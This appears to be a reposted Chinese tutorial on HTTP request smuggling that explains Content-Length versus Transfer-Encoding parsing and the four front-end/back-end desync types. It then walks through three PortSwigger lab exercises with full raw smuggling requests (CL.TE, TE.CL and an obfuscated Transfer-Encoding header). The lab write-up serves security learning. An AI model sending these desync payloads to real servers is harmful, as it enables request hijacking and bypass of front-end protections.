http请求走私原理

https://www.cnblogs.com/sijidou/p/13121343.html
https://portswigger.net/web-security/request-smuggling

HTTP 请求的请求体有2种判定方式

  1. 利用Content-Length字段来判定请求体的内容长度
  2. 利用Transfer-Encoding字段来判定请求体的结束位置

Content-Length

​ 正常post请求,会带上请求体(body),请求体有多长,Content-Length的值就是多少
http请求走私原理_第1张图片

Transfer-Encoding

Transfer-Encoding就是分块传输的标志,它不靠Content-Length来告诉web服务器请求体有多长,而是靠0这个字符来代表分块结束,之后还要换行2次
http请求走私原理_第2张图片

分块传输的格式

3
aaa
5
aa
a
0


分了3段,第一段是3个a,第二段是2个a和一个\r和一个\n再1个a,第三段是空

aaa上面的3是长度,表示第一段有3个字节,第二段加上\r\n是5个字节,最后一段为空就0个字节,但最后有2个换行表示结束

长度是以16进制表示

橙色为走私内容
http请求走私原理_第3张图片

在这里,攻击者使其前端请求的一部分被后端服务器解释为下一个请求的开始。它有效地预置到下一个请求,因此可能会干扰应用程序处理该请求的方式。这是一个请求走私攻击。

请求走私的类型

  1. GET请求web服务器不处理请求体,cdn处理请求体(body)
  2. 设置2个 Content-Length, cdn解析第一个,web服务器解析第二个
  3. cdn使用Content-Length,web服务器使用Transfer-Encoding(默认情况下,存在Transfer-Encoding字段时,会优先按分块传输来解析请求体)
  4. cdn使用Transfer-Encoding,web服务器使用Content-Length

burp官网例题

参考

1

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-tehttp请求走私原理_第4张图片

只用GPOST方法

POST / HTTP/1.1
Host: acd11f161e94d8b580cd0d4900740081.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 6
Transfer-Encoding:chunked

0

G

连续发送两次
http请求走私原理_第5张图片

2

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
http请求走私原理_第6张图片

要关闭Content-length的自动更新(repeater下拉菜单第一个

POST / HTTP/1.1
Host: ac991f1d1fdda45c801524bb00c600f8.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


2/4
http请求走私原理_第7张图片
http请求走私原理_第8张图片

http请求走私原理_第9张图片

http请求走私原理_第10张图片

3

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

POST / HTTP/1.1
Host: ac5d1f0c1ee36cac807c2eb900e80078.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Length: 2
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


你可能感兴趣的:(http请求走私原理)